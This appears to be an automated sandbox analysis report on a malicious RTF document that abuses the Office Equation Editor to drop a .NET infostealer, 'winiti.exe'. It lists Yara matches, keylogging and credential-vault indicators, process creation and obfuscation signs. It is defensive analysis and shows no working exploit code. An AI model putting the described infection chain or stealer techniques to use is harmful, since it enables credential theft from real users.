Source: winiti.exe, 00000006.00000002.715091782.0000000005920000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.digicert.com.my/cps.htm02
Source: winiti.exe, 00000006.00000002.715091782.0000000005920000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.diginotar.nl/cps/pkioverheid0
Source: winiti.exe, 00000005.00000002.375360921.0000000003489000.00000004.00000800.00020000.00000000.sdmp, winiti.exe, 00000006.00000002.714090429.0000000000402000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: https://account.dyn.com/
Source: winiti.exe, 00000005.00000002.375360921.0000000003489000.00000004.00000800.00020000.00000000.sdmp, winiti.exe, 00000006.00000002.714090429.0000000000402000.00000040.00000400.00020000.00000000.sdmp, winiti.exe, 00000006.00000002.714490437.0000000002231000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://api.ipify.org
Source: winiti.exe, 00000006.00000002.714490437.0000000002231000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://api.ipify.org/
Source: winiti.exe, 00000006.00000002.714490437.0000000002231000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://api.ipify.org/t
Source: winiti.exe, 00000006.00000002.715091782.0000000005920000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://secure.comodo.com/CPS0
Source: winiti.exe, 00000006.00000002.714490437.0000000002280000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://support.google.com/chrome/?p=plugin_flash
Source: unknown Network traffic detected: HTTP traffic on port 49164 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49164
Source: unknown HTTPS traffic detected: 172.67.74.152:443 -> 192.168.2.22:49164 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing
barindex
Contains functionality to log keystrokes (.Net Source)
Source: 5.2.winiti.exe.3489570.4.raw.unpack, SKTzxzsJw.cs .Net Code: agneM
Source: 5.2.winiti.exe.34c5b90.7.raw.unpack, SKTzxzsJw.cs .Net Code: agneM

System Summary
barindex
Malicious sample detected (through community Yara rule)
Source: 2FBexXRCHR.rtf, type: SAMPLE Matched rule: Detects RTF documents with non-standard version and embeding one of the object mostly observed in exploit documents. Author: ditekSHen
Source: 5.2.winiti.exe.34c5b90.7.unpack, type: UNPACKEDPE Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 5.2.winiti.exe.3489570.4.unpack, type: UNPACKEDPE Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 6.2.winiti.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 5.2.winiti.exe.34c5b90.7.raw.unpack, type: UNPACKEDPE Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 5.2.winiti.exe.3489570.4.raw.unpack, type: UNPACKEDPE Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Office equation editor drops PE file
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\winiti[1].exe Jump to dropped file
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File created: C:\Users\user\AppData\Roaming\winiti.exe Jump to dropped file
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Memory allocated: 770B0000 page execute and read and write Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Memory allocated: 770B0000 page execute and read and write Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Memory allocated: 770B0000 page execute and read and write Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Memory allocated: 770B0000 page execute and read and write Jump to behavior
Detected potential crypto function
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 5_2_00190508 5_2_00190508
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 5_2_0019D0D0 5_2_0019D0D0
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 5_2_0019117E 5_2_0019117E
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 5_2_0019D508 5_2_0019D508
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 5_2_0019D9F0 5_2_0019D9F0
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 5_2_0019D9E1 5_2_0019D9E1
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 5_2_0019CC98 5_2_0019CC98
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 5_2_0019DE28 5_2_0019DE28
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 6_2_002DC050 6_2_002DC050
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 6_2_002D3908 6_2_002D3908
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 6_2_002DF358 6_2_002DF358
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 6_2_002D4520 6_2_002D4520
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 6_2_002D3C45 6_2_002D3C45
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 6_2_002D3C50 6_2_002D3C50
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 6_2_00726560 6_2_00726560
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 6_2_00725609 6_2_00725609
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 6_2_0072B640 6_2_0072B640
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 6_2_00721A48 6_2_00721A48
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 6_2_0072B280 6_2_0072B280
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 6_2_00728790 6_2_00728790
Yara signature match
Source: 2FBexXRCHR.rtf, type: SAMPLE Matched rule: INDICATOR_RTF_MalVer_Objects author = ditekSHen, description = Detects RTF documents with non-standard version and embeding one of the object mostly observed in exploit documents.
Source: 5.2.winiti.exe.34c5b90.7.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 5.2.winiti.exe.3489570.4.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 6.2.winiti.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 5.2.winiti.exe.34c5b90.7.raw.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 5.2.winiti.exe.3489570.4.raw.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: winiti[1].exe.2.dr Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: winiti.exe.2.dr Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: 5.2.winiti.exe.3489570.4.raw.unpack, 4JJG6X.cs Cryptographic APIs: 'TransformFinalBlock'
Source: 5.2.winiti.exe.3489570.4.raw.unpack, 4JJG6X.cs Cryptographic APIs: 'TransformFinalBlock'
Source: 5.2.winiti.exe.3489570.4.raw.unpack, 8C78isHTVco.cs Cryptographic APIs: 'TransformFinalBlock'
Source: 5.2.winiti.exe.3489570.4.raw.unpack, 8C78isHTVco.cs Cryptographic APIs: 'TransformFinalBlock'
Source: 5.2.winiti.exe.3489570.4.raw.unpack, 8C78isHTVco.cs Cryptographic APIs: 'TransformFinalBlock'
Source: 5.2.winiti.exe.3489570.4.raw.unpack, 8C78isHTVco.cs Cryptographic APIs: 'TransformFinalBlock'
Source: 5.2.winiti.exe.3489570.4.raw.unpack, CqSP68Ir.cs Cryptographic APIs: 'TransformFinalBlock'
Source: 5.2.winiti.exe.3489570.4.raw.unpack, CqSP68Ir.cs Cryptographic APIs: 'TransformFinalBlock', 'CreateDecryptor'
Source: 5.2.winiti.exe.37cc870.5.raw.unpack, X1lGeNtrqa9RypnK1A.cs Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 5.2.winiti.exe.384a690.6.raw.unpack, wY0JxeJBuhumsKEEdp.cs Security API names: _0020.SetAccessControl
Source: 5.2.winiti.exe.384a690.6.raw.unpack, wY0JxeJBuhumsKEEdp.cs Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 5.2.winiti.exe.384a690.6.raw.unpack, wY0JxeJBuhumsKEEdp.cs Security API names: _0020.AddAccessRule
Source: 5.2.winiti.exe.52e0000.8.raw.unpack, wY0JxeJBuhumsKEEdp.cs Security API names: _0020.SetAccessControl
Source: 5.2.winiti.exe.52e0000.8.raw.unpack, wY0JxeJBuhumsKEEdp.cs Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 5.2.winiti.exe.52e0000.8.raw.unpack, wY0JxeJBuhumsKEEdp.cs Security API names: _0020.AddAccessRule
Source: 5.2.winiti.exe.52e0000.8.raw.unpack, X1lGeNtrqa9RypnK1A.cs Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 5.2.winiti.exe.384a690.6.raw.unpack, X1lGeNtrqa9RypnK1A.cs Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 5.2.winiti.exe.37cc870.5.raw.unpack, wY0JxeJBuhumsKEEdp.cs Security API names: _0020.SetAccessControl
Source: 5.2.winiti.exe.37cc870.5.raw.unpack, wY0JxeJBuhumsKEEdp.cs Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 5.2.winiti.exe.37cc870.5.raw.unpack, wY0JxeJBuhumsKEEdp.cs Security API names: _0020.AddAccessRule
Source: classification engine Classification label: mal100.troj.spyw.expl.evad.winRTF@7/9@4/6
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File created: C:\Users\user\Desktop\~$BexXRCHR.rtf Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Mutant created: NULL
Source: C:\Users\user\AppData\Roaming\winiti.exe Mutant created: \Sessions\1\BaseNamedObjects\nDULVUQYKBSQmTmUguHVQEG
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File created: C:\Users\user\AppData\Local\Temp\CVR83BF.tmp Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\winiti.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File read: C:\Users\desktop.ini Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: 2FBexXRCHR.rtf Virustotal: Detection: 52%
Source: 2FBexXRCHR.rtf ReversingLabs: Detection: 47%
Source: unknown Process created: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /Automation -Embedding
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Users\user\AppData\Roaming\winiti.exe "C:\Users\user\AppData\Roaming\winiti.exe"
Source: C:\Users\user\AppData\Roaming\winiti.exe Process created: C:\Users\user\AppData\Roaming\winiti.exe "C:\Users\user\AppData\Roaming\winiti.exe"
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Users\user\AppData\Roaming\winiti.exe "C:\Users\user\AppData\Roaming\winiti.exe" Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Process created: C:\Users\user\AppData\Roaming\winiti.exe "C:\Users\user\AppData\Roaming\winiti.exe" Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: wow64win.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: wow64cpu.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: msi.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: cryptsp.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: rpcrtremote.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: dwmapi.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: version.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: secur32.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: winhttp.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: webio.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: winnsi.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: dnsapi.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: nlaapi.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: dhcpcsvc6.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: dhcpcsvc.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: propsys.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: ntmarta.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Section loaded: wow64win.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Section loaded: wow64cpu.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Section loaded: version.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Section loaded: bcrypt.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Section loaded: shfolder.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Section loaded: windowscodecs.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Section loaded: rpcrtremote.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Section loaded: wow64win.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Section loaded: wow64cpu.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Section loaded: version.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Section loaded: bcrypt.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Section loaded: wbemcomn2.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Section loaded: rpcrtremote.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Section loaded: ntdsapi.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Section loaded: rasapi32.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Section loaded: rasman.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Section loaded: rtutils.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Section loaded: webio.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Section loaded: credssp.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Section loaded: dhcpcsvc6.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Section loaded: dhcpcsvc.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Section loaded: secur32.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Section loaded: ncrypt.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Section loaded: vaultcli.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: wow64win.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: wow64cpu.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: msi.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: cryptsp.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: rpcrtremote.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: dwmapi.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{CF4CC405-E2C5-4DDD-B3CE-5E7582D8C9FA}\InprocServer32 Jump to behavior
Source: 2FBexXRCHR.LNK.0.dr LNK file: ..\..\..\..\..\Desktop\2FBexXRCHR.rtf
Source: Window Recorder Window detected: More than 3 window changes detected
Source: C:\Users\user\AppData\Roaming\winiti.exe File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll Jump to behavior

Data Obfuscation
barindex
.NET source code contains potential unpacker
Source: 5.2.winiti.exe.37cc870.5.raw.unpack, wY0JxeJBuhumsKEEdp.cs .Net Code: oQDraBlY6e System.Reflection.Assembly.Load(byte[])
Source: 5.2.winiti.exe.384a690.6.raw.unpack, wY0JxeJBuhumsKEEdp.cs .Net Code: oQDraBlY6e System.Reflection.Assembly.Load(byte[])
Source: 5.2.winiti.exe.2485fb8.3.raw.unpack, -.cs .Net Code: _0001 System.Reflection.Assembly.Load(byte[])
Source: 5.2.winiti.exe.2485fb8.3.raw.unpack, PingPong.cs .Net Code: Justy
Source: 5.2.winiti.exe.52e0000.8.raw.unpack, wY0JxeJBuhumsKEEdp.cs .Net Code: oQDraBlY6e System.Reflection.Assembly.Load(byte[])
Uses code obfuscation techniques (call, push, ret)
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_00307832 push ebx; ret 2_2_00307833
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_00307A36 push ebx; ret 2_2_00307A37
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_0030783A push ebx; ret 2_2_0030783B
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_00306B1B push edi; ret 2_2_00306B47
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_0030731E push ebx; ret 2_2_0030731F
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_00306B0B push edi; ret 2_2_00306B17
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_00306B76 push edi; ret 2_2_00306B77
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_002F8F60 push eax; retf 2_2_002F8F61
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_00306B4E push edi; ret 2_2_00306B57
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_003079B4 push ebx; ret 2_2_003079B7
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_003069AC push edi; ret 2_2_00306A97
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_002FC288 pushad ; retn 002Fh 2_2_002FC289
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_00306CF2 push edi; ret 2_2_00306CF3
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_002F01F4 push eax; retf 2_2_002F01F5
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_00306AEB push edi; ret 2_2_00306AF7
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_002FC3F0 push A0002FC4h; ret 2_2_002FC3F5
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_003077D2 push ebx; ret 2_2_003077D3
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_003069CC push edi; ret 2_2_00306A97
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 5_2_0019B260 pushfd ; iretd 5_2_0019B26D
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 5_2_0019AD35 push esp; retf 5_2_0019AD36
Source: winiti[1].exe.2.dr Static PE information: section name: .text entropy: 7.962364275489502
Source: winiti.exe.2.dr Static PE information: section name: .text entropy: 7.962364275489502
Source: 5.2.winiti.exe.37cc870.5.raw.unpack, VowUMM871Fp8bDemBP.cs High entropy of concatenated method names: 'zg9NYQMDKL', 'gr9NyR2uIg', 'FjPNZeB3hh', 'COPZl1kGnD', 'ROJZzo0OQT', 'n03Ni2bJSi', 'fOPNcmWdZw', 'Ok1NxuDJSn', 'tNTN2HAADS', 'k31NrSbbHO'
Source: 5.2.winiti.exe.37cc870.5.raw.unpack, bLe1PVPXUhjRYjopUa.cs High entropy of concatenated method names: 'SyeLk60tW4', 'hPNLEIREsG', 'DteLnPwbjp', 'VScLQyWdfy', 'M89LSDXina', 'yuJLfyVN5w', 'Next', 'Next', 'Next', 'NextBytes'
Source: 5.2.winiti.exe.37cc870.5.raw.unpack, wY0JxeJBuhumsKEEdp.cs High entropy of concatenated method names: 'XVh2Gyi6t8', 'hBk2YctEcf', 'U0F2j1g4Sv', 'Ijo2ytU9fJ', 'LMe2otdIYh', 'gbZ2ZQTjvv', 'rdF2Na0qE8', 'ePD2JuGhHT', 'DY62FcglJh', 'bHI2ABrSVB'
Source: 5.2.winiti.exe.37cc870.5.raw.unpack, X7eG0gqJtgFhfpo9cM.cs High entropy of concatenated method names: 'bj1LYGylCf', 'DuILjg4Dy9', 'lWkLyDSM5Q', 'nwLLo67wt3', 'UYyLZuUlC1', 'jFSLN1EsAx', 'OdNLJxlV3l', 'qbVLF7g1mR', 'OjoLAHE5LB', 'xj0LKo2doe'
Source: 5.2.winiti.exe.37cc870.5.raw.unpack, bejyHZrHlbbQAjmPBF.cs High entropy of concatenated method names: 'vnqcN1lGeN', 'dqacJ9Rypn', 'zYCcAyZPlc', 'rn4cKFjT12', 'LUGcObk3mR', 'PLOc3IxEnr', 'Vy8Ep7TJOShcrX5SCi', 'TNSZPuxa3W7DKHfEpy', 'Pm1cchrIdn', 'UULc2eXrSk'
Source: 5.2.winiti.exe.37cc870.5.raw.unpack, EHf4hJcibXDdIwrcxWa.cs High entropy of concatenated method names: 'GPh5pEEQct', 'G8X5661gvI', 'CZy5a4U08p', 'nZq5DoGqW3', 'qtQ5vDuOw5', 'Dbd5gNEK89', 'gWY5Mrs8GO', 'WPk5tB5Bqy', 'quU5Vp7nWO', 'Vlm5COD7hk'
Source: 5.2.winiti.exe.37cc870.5.raw.unpack, yCyWgaVYCyZPlcLn4F.cs High entropy of concatenated method names: 'HAkyDvYNmP', 'SZUygFHJ2Z', 'OB6ytO5xS2', 'FqoyVSWLUw', 'R2gyO81kuG', 'Byny3n9PuV', 'ldIyRO4C0b', 'b3AyLdkjvC', 'lVcy5bsjsd', 'iAyyBye0YT'
Source: 5.2.winiti.exe.37cc870.5.raw.unpack, VtoD4klVEdWHcS8xeB.cs High entropy of concatenated method names: 'UKy5cLfb4A', 'pAC520I54m', 'kU65rwnIB8', 'Rn75Y4D6QV', 'V5o5jcNDob', 'kaI5o1TUkf', 'v5r5ZRd5oW', 'RmSL4qW8B5', 'j6vLqtV9OZ', 'OT5LP8RBa3'
Source: 5.2.winiti.exe.37cc870.5.raw.unpack, X1lGeNtrqa9RypnK1A.cs High entropy of concatenated method names: 'YgDjSugHe4', 'DT5jH0yfm8', 'KRUjXQ6YTs', 'uAxjUmo3CE', 'P0njm9FbH3', 'WAAjuAM8tH', 'vsej4E0JEX', 'pXUjqZuKT1', 'faUjPRECx7', 'MJEjlVNm5U'
Source: 5.2.winiti.exe.37cc870.5.raw.unpack, xVUQskdyggVyKpAr72.cs High entropy of concatenated method names: 'f7vwtj0SC7', 'VPSwVAQLac', 'KCxwkD0K3U', 'q4kwEhbKvQ', 'HqmwQXNXqe', 'Vvkwf2A3la', 'BjBw8A9SUF', 'jA7wek2HYU', 'pQkwbBk9qP', 'Q2kw9F4BSc'
Source: 5.2.winiti.exe.37cc870.5.raw.unpack, iRONNpzmxgNG0DqyUV.cs High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'T1m5wH5Yn9', 'c4f5OG4nxb', 'l8l53mMuSI', 'oYl5RVOprX', 'MBE5LPrRa5', 'HqA55jdoXd', 'JZt5BrVR7F'
Source: 5.2.winiti.exe.37cc870.5.raw.unpack, pmR0LOkIxEnrctQD2X.cs High entropy of concatenated method names: 'qABZGbaA0y', 'aYfZjSI0TR', 'ElfZoYxmKo', 'BBoZNK6vIh', 'C9IZJ9JLvg', 'lFUomIWgoi', 'APoou49NSs', 'CCNo4uAXLe', 'UbooqD3BQ1', 'hXIoP1GXO3'
